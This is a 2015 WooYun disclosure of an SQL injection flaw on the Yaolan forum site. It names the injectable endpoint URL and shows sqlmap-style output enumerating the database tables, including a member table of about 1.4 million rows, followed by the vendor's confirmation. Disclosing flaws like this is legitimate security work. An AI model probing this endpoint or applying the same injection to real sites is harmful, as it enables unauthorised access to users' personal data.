当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0144694

漏洞标题：摇篮网存在SQL注入（含百万会员信息）

相关厂商：摇篮网

漏洞作者： getshell1993

提交时间：2015-10-04 10:29

修复时间：2015-11-22 11:50

公开时间：2015-11-22 11:50

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-10-04： 细节已通知厂商并且等待厂商处理中
2015-10-08： 厂商已经确认，细节仅向厂商公开
2015-10-18： 细节向核心白帽子及相关领域专家公开
2015-10-28： 细节向普通白帽子公开
2015-11-07： 细节向实习白帽子公开
2015-11-22： 细节向公众公开

简要描述：

SQL注入

详细说明：

http://bbs.yaolan.com/interface/getthread.php?flag=thread&digest=true&fid=24&ret_type=jsonp&callback=func

QQ20151003-1.png


QQ20151003-2.png

漏洞证明：

back-end DBMS: MySQL 5.0.11
[23:22:19] [INFO] fetching tables for database: 'yaolanbbs'
[23:22:19] [INFO] fetching number of tables for database 'y
[23:22:19] [INFO] resumed: 323
[23:22:19] [INFO] resumed: pre_baidusubmit_setting
[23:22:19] [INFO] resumed: pre_baidusubmit_sitemap
[23:22:19] [INFO] resumed: pre_baidusubmit_urlstat
[23:22:19] [INFO] resumed: pre_cdb_content
[23:22:19] [INFO] resumed: pre_cdb_history
[23:22:19] [INFO] resumed: pre_cdb_majia
[23:22:19] [INFO] resumed: pre_cdb_majia_shenqi
[23:22:19] [INFO] resumed: pre_cdb_probable
[23:22:19] [INFO] resumed: pre_cdb_tid
[23:22:19] [INFO] resumed: pre_common_admincp_cmenu
[23:22:19] [INFO] resumed: pre_common_admincp_group
[23:22:19] [INFO] resumed: pre_common_admincp_member
[23:22:19] [INFO] resumed: pre_common_admincp_perm
[23:22:19] [INFO] resumed: pre_common_admincp_session
[23:22:19] [INFO] resumed: pre_common_admingroup
[23:22:19] [INFO] resumed: pre_common_adminnote
[23:22:19] [INFO] resumed: pre_common_advertisement
[23:22:19] [INFO] resumed: pre_common_advertisement_custom
[23:22:19] [INFO] resumed: pre_common_banned
[23:22:19] [INFO] resumed: pre_common_block
[23:22:19] [INFO] resumed: pre_common_block_favorite
[23:22:19] [INFO] resumed: pre_common_block_item
[23:22:19] [INFO] resumed: pre_common_block_item_data
[23:22:19] [INFO] resumed: pre_common_block_permission
[23:22:19] [INFO] resumed: pre_common_block_pic
[23:22:19] [INFO] resumed: pre_common_block_style
[23:22:19] [INFO] resumed: pre_common_block_xml
[23:22:19] [INFO] resumed: pre_common_cache
[23:22:19] [INFO] resumed: pre_common_card
[23:22:19] [INFO] resumed: pre_common_card_log
[23:22:19] [INFO] resumed: pre_common_card_type
[23:22:19] [INFO] resumed: pre_common_connect_guest
[23:22:19] [INFO] resumed: pre_common_credit_log
[23:22:19] [INFO] resumed: pre_common_credit_log_field
[23:22:19] [INFO] resumed: pre_common_credit_rule
[23:22:19] [INFO] resumed: pre_common_credit_rule_log
[23:22:19] [INFO] resumed: pre_common_credit_rule_log_field
[23:22:19] [INFO] resumed: pre_common_cron
[23:22:19] [INFO] resumed: pre_common_devicetoken
[23:22:19] [INFO] resumed: pre_common_district
[23:22:19] [INFO] resumed: pre_common_diy_data
[23:22:19] [INFO] resumed: pre_common_domain
[23:22:19] [INFO] resumed: pre_common_failedip
[23:22:19] [INFO] resumed: pre_common_failedlogin
[23:22:19] [INFO] resumed: pre_common_friendlink
[23:22:19] [INFO] resumed: pre_common_grouppm
[23:22:19] [INFO] resumed: pre_common_invite
[23:22:19] [INFO] resumed: pre_common_magic
[23:22:19] [INFO] resumed: pre_common_magiclog
[23:22:19] [INFO] resumed: pre_common_mailcron
[23:22:19] [INFO] resumed: pre_common_mailqueue
[23:22:19] [INFO] resumed: pre_common_member


back-end DBMS: MySQL 5.0.11
[23:22:43] [INFO] resumed: 1435046
Database: yaolanbbs
+-------------------+---------+
| Table             | Entries |
+-------------------+---------+
| pre_common_member | 1435046 |
+-------------------+---------+

修复方案：

过滤

版权声明：转载请注明来源 getshell1993@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：5

确认时间：2015-10-08 11:48

厂商回复：

漏洞确认，正在修复。感谢白帽子的工作。

最新状态：

暂无

漏洞评价：

评价